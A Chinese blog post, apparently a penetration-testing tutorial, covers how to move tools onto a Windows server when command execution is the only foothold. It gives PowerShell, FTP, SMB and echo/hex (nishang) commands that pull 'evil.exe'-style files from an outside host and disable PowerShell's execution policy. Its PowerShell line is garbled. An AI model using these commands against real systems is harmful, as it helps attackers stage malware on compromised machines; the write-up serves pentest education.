文件上傳

我們在做滲透測試的時候會經常遇到存在命令執行的Windows服務器,而且不能上傳shell,唯一的入口就是命令執行,這種情況下,我們需要向服務器上傳一個大一點的工具,如何實現,這就是本文章主要的內容。

利用http協議下載文件

利用vbs下載

將下面的代碼保存爲test.vbs

1.png

執行如下語句:

cscript test.vbs

利用powershell下載

將如下代碼保存爲test.ps1

$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

執行.test.ps1

有的時候PowerShell的執行權限會被關閉,需要使用如下的語句打開。

powershell set-executionpolicy unrestricted

利用ftp協議下載文件

1 創建一個ftp服務器,或者使用公共的ftp服務器

2 將下面的代碼保存爲test.txt

ftp 127.0.0.1
username
password
get fileexit

3 執行下面的命令

ftp -s:test.txt

利用smb協議拷貝文件

1 在公網創建一個共享如:\111.111.111.111test$

2 命令行下執行net use \111.111.111.111test$ /u:test test

3 最後上傳文件到共享,命令行下拷貝:copy \111.111.111.111test$test.exe c:\

利用echo直接寫文件

使用nishang的powershell工具包對上傳的文件進行處理,然後使用echo到文件中,最後再轉爲原始文件。

下載地址:https://github.com/samratashok/nishang

具體操作步驟:

1 將文件轉爲hex

PS > .\ExetoText.ps1 evil.exe evil.txt

2 將hex的值echo到文件中

3 將hex轉爲原始文件

PS > .\TexttoExe.ps1 evil.text evil.exe

總結

這幾種方式的利用場景是在我們發現一個服務器存在命令執行,而且還是一臺Windows,在不依賴其他工具的前提下,使用Windows自帶的命令將我們需要的工具上傳到服務器的姿勢。以上的腳本文件都可以使用echo 的方式保存到服務器上,然後再利用這些姿勢上傳大一點的工具等文件。歡迎大家補充各種姿勢。

發佈了31 篇原創文章 · 獲贊 19 · 訪問量 3062
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章